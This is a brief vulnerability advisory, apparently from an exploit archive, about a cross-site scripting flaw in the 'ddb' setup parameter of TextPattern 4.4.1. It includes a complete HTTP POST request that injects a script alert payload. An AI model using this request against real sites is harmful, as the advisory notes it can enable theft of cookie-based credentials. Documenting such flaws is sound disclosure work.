TextPattern 4.4.1 - 'ddb' Cross-Site Scripting

source: https://www.securityfocus.com/bid/51254/info

TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TextPattern 4.4.1 is vulnerable; other versions may also be affected. 

POST /textpattern/setup/index.php HTTP/1.1

Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://www.example.com/textpattern/setup/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

duser=blah&dpass=&dhost=localhost&ddb=%3Cscript%3Ealert%28%27123%27%29%3C%2
Fscript%3E&dprefix=&siteurl=A.B.C.D&Submit=next&lang=en-us&step=print
Config